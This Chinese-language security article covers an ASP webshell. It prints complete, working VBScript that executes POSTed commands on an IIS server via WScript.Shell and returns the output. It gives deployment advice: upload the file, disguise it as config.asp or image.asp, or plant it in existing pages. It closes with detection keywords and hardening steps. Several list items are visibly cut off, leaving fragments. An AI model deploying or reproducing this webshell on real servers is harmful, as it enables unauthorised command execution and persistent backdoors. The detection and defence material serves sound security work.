本文內容涉及惡意 ASP 木馬(Webshell)代碼,僅供安全研究、滲透測試授權環境、應急響應分析參考。未經授權在伺服器部署、使用此類代碼屬違法行為,嚴禁用於非法用途。請遵守當地法律法規與道德準則。
該 ASP 木馬利用 WScript.Shell 執行系統命令,配合 Scripting.FileSystemObject 讀取命令輸出,實現以下惡意功能:
.CMD 參數,在伺服器執行 cmd.exe /c <command>。ftp.exe 或上傳 wget/curl 進行檔案傳輸。rar.exe/unzip.exe 放入 %SystemRoot%\system32,再執行 rar x archive.rar path 解壓惡意檔案。<%=Server.MapPath(".")%> 取得 Web 目錄實體路徑,便於後續操作。<%@ Language=VBScript %>
<%
Dim oScript, oScriptNet, oFileSys, oFile, szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If szCMD <> "" Then
szTempFile = "C:" & oFileSys.GetTempName()
oScript.Run "cmd.exe /c " & szCMD & " > " & szTempFile, 0, True
Set oFile = oFileSys.OpenTextFile(szTempFile, 1, False, 0)
End If
%>
<html><body>
<form action="<%=Request.ServerVariables("URL")%>" method="POST">
<input type=text name=".CMD" size=45 value="<%=szCMD%>">
<input type=submit value="Run">
</form>
<pre>
<%
If IsObject(oFile) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
oFileSys.DeleteFile szTempFile, True
End If
%>
</pre>
</body></html>
trojan.asp 上傳至 Web 目錄。config.asp、image.asp),或修改現有檔案植入後門。.asp/.asa/.cer/.cdx 檔案(特別是近期修改、大小異常、包含 WSCRIPT.SHELL、ADODB.Stream、eval、execute 等關鍵字)。.CMD=、cmd.exe、wscript.shell 等特徵的 POST 請求。HKEY_CLASSES_ROOT\CLSID\{...} 設定 AccessPermission 拒絕 IIS 身分存取 WScript.Shell、Scripting.FileSystemObject、ADODB.Stream。ASP 木馬雖屬經典技術,但因舊系統廣泛存在,仍是攻擊者常用工具。防禦核心在於最小權限原則、嚴格檔案上傳驗證、禁用危險 COM 元件、持續監控與快速應急響應。安全無絕對,唯有纵深防禦。